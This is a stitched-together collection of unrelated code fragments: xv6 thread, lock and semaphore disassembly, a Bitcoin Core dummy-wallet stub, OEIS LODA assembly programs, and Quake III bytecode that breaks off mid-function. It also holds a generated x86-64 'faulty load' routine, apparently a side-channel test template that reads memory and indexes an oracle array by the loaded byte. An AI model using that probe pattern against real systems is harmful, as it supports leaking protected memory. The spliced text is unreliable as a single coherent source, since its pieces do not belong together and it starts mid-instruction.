00 00 00 movl $0x0,(%eax) } 1cea: 5d pop %ebp 1ceb: c3 ret 00001cec <lock_acquire>: void lock_acquire(lock_t *lock){ 1cec: 55 push %ebp 1ced: 89 e5 mov %esp,%ebp 1cef: 83 ec 08 sub $0x8,%esp while(xchg(&lock->locked,1) != 0); 1cf2: 8b 45 08 mov 0x8(%ebp),%eax 1cf5: c7 44 24 04 01 00 00 movl $0x1,0x4(%esp) 1cfc: 00 1cfd: 89 04 24 mov %eax,(%esp) 1d00: e8 bf ff ff ff call 1cc4 <xchg> 1d05: 85 c0 test %eax,%eax 1d07: 75 e9 jne 1cf2 <lock_acquire+0x6> } 1d09: c9 leave 1d0a: c3 ret 00001d0b <lock_release>: void lock_release(lock_t *lock){ 1d0b: 55 push %ebp 1d0c: 89 e5 mov %esp,%ebp 1d0e: 83 ec 08 sub $0x8,%esp xchg(&lock->locked,0); 1d11: 8b 45 08 mov 0x8(%ebp),%eax 1d14: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 1d1b: 00 1d1c: 89 04 24 mov %eax,(%esp) 1d1f: e8 a0 ff ff ff call 1cc4 <xchg> } 1d24: c9 leave 1d25: c3 ret 00001d26 <thread_create>: void *thread_create(void(*start_routine)(void*), void *arg){ 1d26: 55 push %ebp 1d27: 89 e5 mov %esp,%ebp 1d29: 83 ec 28 sub $0x28,%esp int tid; void * stack = malloc(2 * 4096); 1d2c: c7 04 24 00 20 00 00 movl $0x2000,(%esp) 1d33: e8 ab fe ff ff call 1be3 <malloc> 1d38: 89 45 f0 mov %eax,-0x10(%ebp) void *garbage_stack = stack; 1d3b: 8b 45 f0 mov -0x10(%ebp),%eax 1d3e: 89 45 f4 mov %eax,-0xc(%ebp) // printf(1,"start routine addr : %d\n",(uint)start_routine); if((uint)stack % 4096){ 1d41: 8b 45 f0 mov -0x10(%ebp),%eax 1d44: 25 ff 0f 00 00 and $0xfff,%eax 1d49: 85 c0 test %eax,%eax 1d4b: 74 15 je 1d62 <thread_create+0x3c> stack = stack + (4096 - (uint)stack % 4096); 1d4d: 8b 45 f0 mov -0x10(%ebp),%eax 1d50: 89 c2 mov %eax,%edx 1d52: 81 e2 ff 0f 00 00 and $0xfff,%edx 1d58: b8 00 10 00 00 mov $0x1000,%eax 1d5d: 29 d0 sub %edx,%eax 1d5f: 01 45 f0 add %eax,-0x10(%ebp) } if (stack == 0){ 1d62: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 1d66: 75 1b jne 1d83 <thread_create+0x5d> printf(1,"malloc fail \n"); 1d68: c7 44 24 04 ab 21 00 movl $0x21ab,0x4(%esp) 1d6f: 00 1d70: c7 04 24 01 00 00 00 movl $0x1,(%esp) 1d77: e8 81 fb ff ff call 18fd <printf> return 0; 1d7c: b8 00 00 00 00 mov $0x0,%eax 1d81: eb 6f jmp 1df2 <thread_create+0xcc> } tid = clone((uint)stack,PSIZE,(uint)start_routine,(int)arg); 1d83: 8b 4d 0c mov 0xc(%ebp),%ecx 1d86: 8b 55 08 mov 0x8(%ebp),%edx 1d89: 8b 45 f0 mov -0x10(%ebp),%eax 1d8c: 89 4c 24 0c mov %ecx,0xc(%esp) 1d90: 89 54 24 08 mov %edx,0x8(%esp) 1d94: c7 44 24 04 00 10 00 movl $0x1000,0x4(%esp) 1d9b: 00 1d9c: 89 04 24 mov %eax,(%esp) 1d9f: e8 58 fa ff ff call 17fc <clone> 1da4: 89 45 ec mov %eax,-0x14(%ebp) if(tid < 0){ 1da7: 83 7d ec 00 cmpl $0x0,-0x14(%ebp) 1dab: 79 1b jns 1dc8 <thread_create+0xa2> printf(1,"clone fails\n"); 1dad: c7 44 24 04 b9 21 00 movl $0x21b9,0x4(%esp) 1db4: 00 1db5: c7 04 24 01 00 00 00 movl $0x1,(%esp) 1dbc: e8 3c fb ff ff call 18fd <printf> return 0; 1dc1: b8 00 00 00 00 mov $0x0,%eax 1dc6: eb 2a jmp 1df2 <thread_create+0xcc> } if(tid > 0){ 1dc8: 83 7d ec 00 cmpl $0x0,-0x14(%ebp) 1dcc: 7e 05 jle 1dd3 <thread_create+0xad> //store threads on thread table return garbage_stack; 1dce: 8b 45 f4 mov -0xc(%ebp),%eax 1dd1: eb 1f jmp 1df2 <thread_create+0xcc> } if(tid == 0){ 1dd3: 83 7d ec 00 cmpl $0x0,-0x14(%ebp) 1dd7: 75 14 jne 1ded <thread_create+0xc7> printf(1,"tid = 0 return \n"); 1dd9: c7 44 24 04 c6 21 00 movl $0x21c6,0x4(%esp) 1de0: 00 1de1: c7 04 24 01 00 00 00 movl $0x1,(%esp) 1de8: e8 10 fb ff ff call 18fd <printf> } // wait(); // free(garbage_stack); return 0; 1ded: b8 00 00 00 00 mov $0x0,%eax } 1df2: c9 leave 1df3: c3 ret 00001df4 <random>: // generate 0 -> max random number exclude max. int random(int max){ 1df4: 55 push %ebp 1df5: 89 e5 mov %esp,%ebp rands = rands * 1664525 + 1013904233; 1df7: a1 ec 21 00 00 mov 0x21ec,%eax 1dfc: 69 c0 0d 66 19 00 imul $0x19660d,%eax,%eax 1e02: 05 69 f3 6e 3c add $0x3c6ef369,%eax 1e07: a3 ec 21 00 00 mov %eax,0x21ec return (int)(rands % max); 1e0c: a1 ec 21 00 00 mov 0x21ec,%eax 1e11: 8b 4d 08 mov 0x8(%ebp),%ecx 1e14: ba 00 00 00 00 mov $0x0,%edx 1e19: f7 f1 div %ecx 1e1b: 89 d0 mov %edx,%eax } 1e1d: 5d pop %ebp 1e1e: c3 ret 1e1f: 90 nop 00001e20 <init_q>: #include "queue.h" #include "types.h" #include "user.h" void init_q(struct queue *q){ 1e20: 55 push %ebp 1e21: 89 e5 mov %esp,%ebp q->size = 0; 1e23: 8b 45 08 mov 0x8(%ebp),%eax 1e26: c7 00 00 00 00 00 movl $0x0,(%eax) q->head = 0; 1e2c: 8b 45 08 mov 0x8(%ebp),%eax 1e2f: c7 40 04 00 00 00 00 movl $0x0,0x4(%eax) q->tail = 0; 1e36: 8b 45 08 mov 0x8(%ebp),%eax 1e39: c7 40 08 00 00 00 00 movl $0x0,0x8(%eax) } 1e40: 5d pop %ebp 1e41: c3 ret 00001e42 <add_q>: void add_q(struct queue *q, int v){ 1e42: 55 push %ebp 1e43: 89 e5 mov %esp,%ebp 1e45: 83 ec 28 sub $0x28,%esp struct node * n = malloc(sizeof(struct node)); 1e48: c7 04 24 08 00 00 00 movl $0x8,(%esp) 1e4f: e8 8f fd ff ff call 1be3 <malloc> 1e54: 89 45 f4 mov %eax,-0xc(%ebp) n->next = 0; 1e57: 8b 45 f4 mov -0xc(%ebp),%eax 1e5a: c7 40 04 00 00 00 00 movl $0x0,0x4(%eax) n->value = v; 1e61: 8b 45 f4 mov -0xc(%ebp),%eax 1e64: 8b 55 0c mov 0xc(%ebp),%edx 1e67: 89 10 mov %edx,(%eax) if(q->head == 0){ 1e69: 8b 45 08 mov 0x8(%ebp),%eax 1e6c: 8b 40 04 mov 0x4(%eax),%eax 1e6f: 85 c0 test %eax,%eax 1e71: 75 0b jne 1e7e <add_q+0x3c> q->head = n; 1e73: 8b 45 08 mov 0x8(%ebp),%eax 1e76: 8b 55 f4 mov -0xc(%ebp),%edx 1e79: 89 50 04 mov %edx,0x4(%eax) 1e7c: eb 0c jmp 1e8a <add_q+0x48> }else{ q->tail->next = n; 1e7e: 8b 45 08 mov 0x8(%ebp),%eax 1e81: 8b 40 08 mov 0x8(%eax),%eax 1e84: 8b 55 f4 mov -0xc(%ebp),%edx 1e87: 89 50 04 mov %edx,0x4(%eax) } q->tail = n; 1e8a: 8b 45 08 mov 0x8(%ebp),%eax 1e8d: 8b 55 f4 mov -0xc(%ebp),%edx 1e90: 89 50 08 mov %edx,0x8(%eax) q->size++; 1e93: 8b 45 08 mov 0x8(%ebp),%eax 1e96: 8b 00 mov (%eax),%eax 1e98: 8d 50 01 lea 0x1(%eax),%edx 1e9b: 8b 45 08 mov 0x8(%ebp),%eax 1e9e: 89 10 mov %edx,(%eax) } 1ea0: c9 leave 1ea1: c3 ret 00001ea2 <empty_q>: int empty_q(struct queue *q){ 1ea2: 55 push %ebp 1ea3: 89 e5 mov %esp,%ebp if(q->size == 0) 1ea5: 8b 45 08 mov 0x8(%ebp),%eax 1ea8: 8b 00 mov (%eax),%eax 1eaa: 85 c0 test %eax,%eax 1eac: 75 07 jne 1eb5 <empty_q+0x13> return 1; 1eae: b8 01 00 00 00 mov $0x1,%eax 1eb3: eb 05 jmp 1eba <empty_q+0x18> else return 0; 1eb5: b8 00 00 00 00 mov $0x0,%eax } 1eba: 5d pop %ebp 1ebb: c3 ret 00001ebc <pop_q>: int pop_q(struct queue *q){ 1ebc: 55 push %ebp 1ebd: 89 e5 mov %esp,%ebp 1ebf: 83 ec 28 sub $0x28,%esp int val; struct node *destroy; if(!empty_q(q)){ 1ec2: 8b 45 08 mov 0x8(%ebp),%eax 1ec5: 89 04 24 mov %eax,(%esp) 1ec8: e8 d5 ff ff ff call 1ea2 <empty_q> 1ecd: 85 c0 test %eax,%eax 1ecf: 75 5d jne 1f2e <pop_q+0x72> val = q->head->value; 1ed1: 8b 45 08 mov 0x8(%ebp),%eax 1ed4: 8b 40 04 mov 0x4(%eax),%eax 1ed7: 8b 00 mov (%eax),%eax 1ed9: 89 45 f0 mov %eax,-0x10(%ebp) destroy = q->head; 1edc: 8b 45 08 mov 0x8(%ebp),%eax 1edf: 8b 40 04 mov 0x4(%eax),%eax 1ee2: 89 45 f4 mov %eax,-0xc(%ebp) q->head = q->head->next; 1ee5: 8b 45 08 mov 0x8(%ebp),%eax 1ee8: 8b 40 04 mov 0x4(%eax),%eax 1eeb: 8b 50 04 mov 0x4(%eax),%edx 1eee: 8b 45 08 mov 0x8(%ebp),%eax 1ef1: 89 50 04 mov %edx,0x4(%eax) free(destroy); 1ef4: 8b 45 f4 mov -0xc(%ebp),%eax 1ef7: 89 04 24 mov %eax,(%esp) 1efa: e8 b5 fb ff ff call 1ab4 <free> q->size--; 1eff: 8b 45 08 mov 0x8(%ebp),%eax 1f02: 8b 00 mov (%eax),%eax 1f04: 8d 50 ff lea -0x1(%eax),%edx 1f07: 8b 45 08 mov 0x8(%ebp),%eax 1f0a: 89 10 mov %edx,(%eax) if(q->size == 0){ 1f0c: 8b 45 08 mov 0x8(%ebp),%eax 1f0f: 8b 00 mov (%eax),%eax 1f11: 85 c0 test %eax,%eax 1f13: 75 14 jne 1f29 <pop_q+0x6d> q->head = 0; 1f15: 8b 45 08 mov 0x8(%ebp),%eax 1f18: c7 40 04 00 00 00 00 movl $0x0,0x4(%eax) q->tail = 0; 1f1f: 8b 45 08 mov 0x8(%ebp),%eax 1f22: c7 40 08 00 00 00 00 movl $0x0,0x8(%eax) } return val; 1f29: 8b 45 f0 mov -0x10(%ebp),%eax 1f2c: eb 05 jmp 1f33 <pop_q+0x77> } return -1; 1f2e: b8 ff ff ff ff mov $0xffffffff,%eax } 1f33: c9 leave 1f34: c3 ret 1f35: 90 nop 1f36: 90 nop 1f37: 90 nop 00001f38 <sem_acquire>: #include "semaphore.h" void sem_acquire(struct Semaphore *s) { 1f38: 55 push %ebp 1f39: 89 e5 mov %esp,%ebp 1f3b: 83 ec 18 sub $0x18,%esp lock_acquire(&s->lock); 1f3e: 8b 45 08 mov 0x8(%ebp),%eax 1f41: 89 04 24 mov %eax,(%esp) 1f44: e8 a3 fd ff ff call 1cec <lock_acquire> s->count--; 1f49: 8b 45 08 mov 0x8(%ebp),%eax 1f4c: 8b 40 04 mov 0x4(%eax),%eax 1f4f: 8d 50 ff lea -0x1(%eax),%edx 1f52: 8b 45 08 mov 0x8(%ebp),%eax 1f55: 89 50 04 mov %edx,0x4(%eax) if( s->count < 0) 1f58: 8b 45 08 mov 0x8(%ebp),%eax 1f5b: 8b 40 04 mov 0x4(%eax),%eax 1f5e: 85 c0 test %eax,%eax 1f60: 79 27 jns 1f89 <sem_acquire+0x51> { add_q(&s->q, getpid()); 1f62: e8 75 f8 ff ff call 17dc <getpid> 1f67: 8b 55 08 mov 0x8(%ebp),%edx 1f6a: 83 c2 08 add $0x8,%edx 1f6d: 89 44 24 04 mov %eax,0x4(%esp) 1f71: 89 14 24 mov %edx,(%esp) 1f74: e8 c9 fe ff ff call 1e42 <add_q> lock_release(&s->lock); 1f79: 8b 45 08 mov 0x8(%ebp),%eax 1f7c: 89 04 24 mov %eax,(%esp) 1f7f: e8 87 fd ff ff call 1d0b <lock_release> tsleep(); 1f84: e8 83 f8 ff ff call 180c <tsleep> } lock_release(&s->lock); 1f89: 8b 45 08 mov 0x8(%ebp),%eax 1f8c: 89 04 24 mov %eax,(%esp) 1f8f: e8 77 fd ff ff call 1d0b <lock_release> } 1f94: c9 leave 1f95: c3 ret 00001f96 <sem_signal>: void sem_signal(struct Semaphore *s) { 1f96: 55 push %ebp 1f97: 89 e5 mov %esp,%ebp 1f99: 83 ec 28 sub $0x28,%esp lock_acquire(&s->lock); 1f9c: 8b 45 08 mov 0x8(%ebp),%eax 1f9f: 89 04 24 mov %eax,(%esp) 1fa2: e8 45 fd ff ff call 1cec <lock_acquire> s->count++; 1fa7: 8b 45 08 mov 0x8(%ebp),%eax 1faa: 8b 40 04 mov 0x4(%eax),%eax 1fad: 8d 50 01 lea 0x1(%eax),%edx 1fb0: 8b 45 08 mov 0x8(%ebp),%eax 1fb3: 89 50 04 mov %edx,0x4(%eax) if( s->count <= 0) 1fb6: 8b 45 08 mov 0x8(%ebp),%eax 1fb9: 8b 40 04 mov 0x4(%eax),%eax 1fbc: 85 c0 test %eax,%eax 1fbe: 7f 1c jg 1fdc <sem_signal+0x46> { int tid = pop_q(&s->q); 1fc0: 8b 45 08 mov 0x8(%ebp),%eax 1fc3: 83 c0 08 add $0x8,%eax 1fc6: 89 04 24 mov %eax,(%esp) 1fc9: e8 ee fe ff ff call 1ebc <pop_q> 1fce: 89 45 f4 mov %eax,-0xc(%ebp) twakeup(tid); 1fd1: 8b 45 f4 mov -0xc(%ebp),%eax 1fd4: 89 04 24 mov %eax,(%esp) 1fd7: e8 38 f8 ff ff call 1814 <twakeup> } lock_release(&s->lock); 1fdc: 8b 45 08 mov 0x8(%ebp),%eax 1fdf: 89 04 24 mov %eax,(%esp) 1fe2: e8 24 fd ff ff call 1d0b <lock_release> } 1fe7: c9 leave 1fe8: c3 ret 00001fe9 <sem_init>: void sem_init(struct Semaphore *s, int size){ 1fe9: 55 push %ebp 1fea: 89 e5 mov %esp,%ebp 1fec: 83 ec 18 sub $0x18,%esp lock_init(&s->lock); 1fef: 8b 45 08 mov 0x8(%ebp),%eax 1ff2: 89 04 24 mov %eax,(%esp) 1ff5: e8 e4 fc ff ff call 1cde <lock_init> s->count = size; 1ffa: 8b 45 08 mov 0x8(%ebp),%eax 1ffd: 8b 55 0c mov 0xc(%ebp),%edx 2000: 89 50 04 mov %edx,0x4(%eax) init_q(&s->q); 2003: 8b 45 08 mov 0x8(%ebp),%eax 2006: 83 c0 08 add $0x8,%eax 2009: 89 04 24 mov %eax,(%esp) 200c: e8 0f fe ff ff call 1e20 <init_q> } 2011: c9 leave 2012: c3 ret
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r12 push %r14 push %r9 push %rax push %rbp lea addresses_WT_ht+0x12a52, %r14 add $51546, %rax movb (%r14), %r9b nop nop nop nop inc %r11 lea addresses_D_ht+0x1d92, %r9 nop nop nop nop cmp $46459, %rbp mov $0x6162636465666768, %r12 movq %r12, %xmm6 movups %xmm6, (%r9) nop nop add $60732, %rax pop %rbp pop %rax pop %r9 pop %r14 pop %r12 pop %r11 ret .global s_faulty_load s_faulty_load: push %r12 push %r13 push %r15 push %r8 push %r9 push %rbp push %rsi // Load lea addresses_RW+0x9252, %r8 nop nop nop nop and $34076, %rsi mov (%r8), %ebp nop nop and $965, %r12 // Load lea addresses_RW+0x9252, %rsi nop nop nop sub $5012, %r13 vmovups (%rsi), %ymm2 vextracti128 $0, %ymm2, %xmm2 vpextrq $0, %xmm2, %r8 nop inc %rsi // Store lea addresses_UC+0x1826a, %rbp nop add %rsi, %rsi mov $0x5152535455565758, %r9 movq %r9, %xmm2 vmovups %ymm2, (%rbp) nop nop nop nop sub $3680, %rsi // Store mov $0x232, %r8 nop nop nop inc %r9 movb $0x51, (%r8) nop nop add %r12, %r12 // Faulty Load lea addresses_RW+0x9252, %rsi nop nop nop cmp %r9, %r9 mov (%rsi), %r12d lea oracles, %r13 and $0xff, %r12 shlq $12, %r12 mov (%r13,%r12,1), %r12 pop %rsi pop %rbp pop %r9 pop %r8 pop %r15 pop %r13 pop %r12 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'size': 32, 'NT': False, 'type': 'addresses_RW', 'same': False, 'AVXalign': False, 'congruent': 0}} {'OP': 'LOAD', 'src': {'size': 4, 'NT': False, 'type': 'addresses_RW', 'same': True, 'AVXalign': False, 'congruent': 0}} {'OP': 'LOAD', 'src': {'size': 32, 'NT': False, 'type': 'addresses_RW', 'same': True, 'AVXalign': False, 'congruent': 0}} {'OP': 'STOR', 'dst': {'size': 32, 'NT': False, 'type': 'addresses_UC', 'same': False, 'AVXalign': False, 'congruent': 3}} {'OP': 'STOR', 'dst': {'size': 1, 'NT': False, 'type': 'addresses_P', 'same': False, 'AVXalign': False, 'congruent': 5}} [Faulty Load] {'OP': 'LOAD', 'src': {'size': 4, 'NT': False, 'type': 'addresses_RW', 'same': True, 'AVXalign': False, 'congruent': 0}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'size': 1, 'NT': False, 'type': 'addresses_WT_ht', 'same': False, 'AVXalign': True, 'congruent': 11}} {'OP': 'STOR', 'dst': {'size': 16, 'NT': False, 'type': 'addresses_D_ht', 'same': False, 'AVXalign': False, 'congruent': 6}} {'32': 21829} 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 */
// Copyright (c) 2018 The Bitcoin Core developers // Distributed under the MIT software license, see the accompanying // file COPYING or http://www.opensource.org/licenses/mit-license.php. #include <logging.h> #include <util/system.h> #include <walletinitinterface.h> class CChainParams; class CWallet; namespace interfaces { class Chain; } class DummyWalletInit : public WalletInitInterface { public: bool HasWalletSupport() const override { return false; } void AddWalletOptions() const override; bool ParameterInteraction() const override { return true; } void Construct(NodeContext &node) const override { LogPrintf("No wallet support compiled in!\n"); } }; void DummyWalletInit::AddWalletOptions() const { std::vector<std::string> opts = { "-avoidpartialspends", "-disablewallet", "-fallbackfee=<amt>", "-keypool=<n>", "-maxtxfee=<amt>", "-mintxfee=<amt>", "-paytxfee=<amt>", "-rescan", "-salvagewallet", "-spendzeroconfchange", "-upgradewallet", "-wallet=<path>", "-walletbroadcast", "-walletdir=<dir>", "-walletnotify=<cmd>", "-zapwallettxes=<mode>", // Wallet debug options "-dblogsize=<n>", "-flushwallet", "-privdb", "-walletrejectlongchains"}; gArgs.AddHiddenArgs(opts); } const WalletInitInterface &g_wallet_init_interface = DummyWalletInit(); fs::path GetWalletDir() { throw std::logic_error("Wallet function called in non-wallet build."); } std::vector<fs::path> ListWalletDir() { throw std::logic_error("Wallet function called in non-wallet build."); } std::vector<std::shared_ptr<CWallet>> GetWallets() { throw std::logic_error("Wallet function called in non-wallet build."); } std::shared_ptr<CWallet> LoadWallet(const CChainParams &chainParams, interfaces::Chain &chain, const std::string &name, std::string &error, std::string &warning) { throw std::logic_error("Wallet function called in non-wallet build."); } namespace interfaces { class Wallet; std::unique_ptr<Wallet> MakeWallet(const std::shared_ptr<CWallet> &wallet) { throw std::logic_error("Wallet function called in non-wallet build."); } } // namespace interfaces
; A195986: Exponent of the largest power of 2 that divides 5^n - 3^n. ; 1,4,1,5,1,4,1,6,1,4,1,5,1,4,1,7,1,4,1,5,1,4,1,6,1,4,1,5,1,4,1,8,1,4,1,5,1,4,1,6,1,4,1,5,1,4,1,7,1,4,1,5,1,4,1,6,1,4,1,5,1,4,1,9,1,4,1,5,1,4,1,6,1,4,1,5,1,4,1,7,1,4,1,5,1,4,1,6,1,4,1,5,1,4,1,8,1,4,1,5,1,4,1,6,1,4,1,5,1,4,1,7,1,4,1,5,1,4,1,6,1,4,1,5,1,4,1,10,1,4,1,5,1,4,1,6,1,4,1,5,1,4,1,7,1,4,1,5,1,4,1,6,1,4,1,5,1,4,1,8,1,4,1,5,1,4,1,6,1,4,1,5,1,4,1,7,1,4,1,5,1,4,1,6,1,4,1,5,1,4,1,9,1,4,1,5,1,4,1,6,1,4,1,5,1,4,1,7,1,4,1,5,1,4,1,6,1,4,1,5,1,4,1,8,1,4,1,5,1,4,1,6,1,4,1,5,1,4,1,7,1,4,1,5,1,4,1,6,1,4 mov $3,$0 mov $5,2 lpb $5,1 mov $0,$3 sub $5,1 add $0,$5 add $0,2 mov $2,$0 mov $4,$0 lpb $0,1 sub $0,1 trn $0,1 add $4,$2 add $2,2 div $2,2 sub $4,4 lpe mov $6,$5 lpb $6,1 mov $1,$4 sub $6,1 lpe lpe lpb $3,1 sub $1,$4 mov $3,0 lpe add $1,1
; A076178: a(n) = 2*n^2 - A077071(n). ; 0,0,0,2,2,4,6,10,10,12,14,18,20,24,28,34,34,36,38,42,44,48,52,58,60,64,68,74,78,84,90,98,98,100,102,106,108,112,116,122,124,128,132,138,142,148,154,162,164,168,172,178,182,188,194,202,206,212,218,226,232 mov $4,$0 mov $7,$0 lpb $4,1 mov $0,$7 sub $4,1 sub $0,$4 mov $2,$0 mov $3,$0 lpb $2,1 cmp $2,1 mov $6,$3 lpb $6,1 div $3,2 sub $6,$3 lpe lpe mov $5,$6 trn $5,1 mul $5,2 add $1,$5 lpe
; A184550: Super-birthdays (falling on the same weekday), version 2 (birth within 1 and 2 years after a February 29). ; 0,6,11,17,28,34,39,45,56,62,67,73,84,90,95,101,112,118,123,129,140,146,151,157,168,174,179,185,196,202,207,213,224,230,235,241,252,258,263,269,280,286,291,297,308,314,319,325,336,342,347,353,364,370,375,381,392,398,403,409,420,426,431,437,448,454,459,465,476,482,487,493,504,510,515,521,532,538,543,549,560,566,571,577,588,594,599,605,616,622,627,633,644,650,655,661,672,678,683,689 add $0,1 seq $0,184551 ; Super-birthdays (falling on the same weekday), version 3 (birth within 2 and 3 years after a February 29). sub $0,11
export CG_InitMarkPolys code proc CG_InitMarkPolys 12 12 ADDRGP4 cg_markPolys ARGP4 CNSTI4 0 ARGI4 CNSTU4 73728 ARGU4 ADDRGP4 qk_memset CALLP4 pop ADDRGP4 cg_activeMarkPolys+4 ADDRGP4 cg_activeMarkPolys ASGNP4 ADDRLP4 4 ADDRGP4 cg_activeMarkPolys ASGNP4 ADDRLP4 4 INDIRP4 ADDRLP4 4 INDIRP4 ASGNP4 ADDRGP4 cg_freeMarkPolys ADDRGP4 cg_markPolys ASGNP4 ADDRLP4 0 CNSTI4 0 ASGNI4 LABELV $73 ADDRLP4 8 CNSTI4 288 ADDRLP4 0 INDIRI4 MULI4 ASGNI4 ADDRLP4 8 INDIRI4 ADDRGP4 cg_markPolys+4 ADDP4 ADDRLP4 8 INDIRI4 ADDRGP4 cg_markPolys+288 ADDP4 ASGNP4 LABELV $74 ADDRLP4 0 ADDRLP4 0 INDIRI4 CNSTI4 1 ADDI4 ASGNI4 ADDRLP4 0 INDIRI4 CNSTI4 255 LTI4 $73 LABELV $71 endproc CG_InitMarkPolys 12 12 export CG_FreeMarkPoly proc CG_FreeMarkPoly 12 4 ADDRFP4 0 ADDRFP4 0 INDIRP4 ASGNP4 ADDRFP4 0 INDIRP4 INDIRP4 CVPU4 4 CNSTU4 0 NEU4 $80 ADDRGP4 $82 ARGP4 ADDRGP4 CG_Error CALLV pop LABELV $80 ADDRLP4 4 CNSTI4 4 ASGNI4 ADDRFP4 0 INDIRP4 INDIRP4 ADDRLP4 4 INDIRI4 ADDP4 ADDRFP4 0 INDIRP4 ADDRLP4 4 INDIRI4 ADDP4 INDIRP4 ASGNP4 ADDRFP4 0 INDIRP4 CNSTI4 4 ADDP4 INDIRP4 ADDRFP4 0 INDIRP4 INDIRP4 ASGNP4 ADDRFP4 0 INDIRP4 CNSTI4 4 ADDP4 ADDRGP4 cg_freeMarkPolys INDIRP4 ASGNP4 ADDRGP4 cg_freeMarkPolys ADDRFP4 0 INDIRP4 ASGNP4 LABELV $79 endproc CG_FreeMarkPoly 12 4 export CG_AllocMark proc CG_AllocMark 16 12 ADDRGP4 cg_freeMarkPolys INDIRP4 CVPU4 4 CNSTU4 0 NEU4 $84 ADDRLP4 4 ADDRGP4 cg_activeMarkPolys INDIRP4 CNSTI4 8 ADDP4 INDIRI4 ASGNI4 ADDRGP4 $87 JUMPV LABELV $86 ADDRGP4 cg_activeMarkPolys INDIRP4 ARGP4 ADDRGP4 CG_FreeMarkPoly CALLV pop LABELV $87 ADDRLP4 8 ADDRGP4 cg_activeMarkPolys INDIRP4 ASGNP4 ADDRLP4 8 INDIRP4 CVPU4 4 CNSTU4 0 EQU4 $89 ADDRLP4 4 INDIRI4 ADDRLP4 8 INDIRP4 CNSTI4 8 ADDP4 INDIRI4 EQI4 $86 LABELV $89 LABELV $84 ADDRLP4 8 ADDRGP4 cg_freeMarkPolys ASGNP4 ADDRLP4 12 ADDRLP4 8 INDIRP4 INDIRP4 ASGNP4 ADDRLP4 0 ADDRLP4 12 INDIRP4 ASGNP4 ADDRLP4 8 INDIRP4 ADDRLP4 12 INDIRP4 CNSTI4 4 ADDP4 INDIRP4 ASGNP4 ADDRLP4 0 INDIRP4 ARGP4 CNSTI4 0 ARGI4 CNSTU4 288 ARGU4 ADDRGP4 qk_memset CALLP4 pop ADDRLP4 0 INDIRP4 CNSTI4 4 ADDP4 ADDRGP4 cg_activeMarkPolys+4 INDIRP4 ASGNP4 ADDRLP4 0 INDIRP4 ADDRGP4 cg_activeMarkPolys ASGNP4 ADDRGP4 cg_activeMarkPolys+4 INDIRP4 ADDRLP4 0 